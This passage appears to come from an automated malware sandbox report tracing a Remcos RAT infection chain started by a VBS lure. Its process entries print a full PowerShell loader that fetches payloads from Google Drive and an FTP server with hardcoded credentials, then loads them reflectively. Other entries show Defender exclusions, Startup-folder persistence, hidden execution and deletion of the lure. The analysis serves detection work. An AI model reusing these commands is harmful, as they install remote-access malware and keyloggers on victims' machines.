Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	03:28:12
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:28:12
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000006.00000002.2273102577.000001C100222000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	03:28:12
Start date:	03/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\"
Imagebase:	0x7ff67dc30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	03:28:13
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	03:28:16
Start date:	03/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	03:28:21
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	03:28:21
Start date:	03/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c del "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"
Imagebase:	0x7ff67dc30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	03:28:23
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xbc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.3436475205.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	16
Start time:	03:28:24
Start date:	03/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Imagebase:	0x7ff67dc30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	03:28:24
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	03:28:24
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Target ID:	19
Start time:	03:28:24
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	03:28:27
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8d0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Target ID:	21
Start time:	03:28:32
Start date:	03/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Imagebase:	0x7ff67dc30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	03:28:32
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	03:28:32
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: conhost.exePID: 2348, Parent PID: 5412

General

Target ID:	24
Start time:	03:28:32
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	03:28:34
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	26
Start time:	03:28:34
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7ff6ae840000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true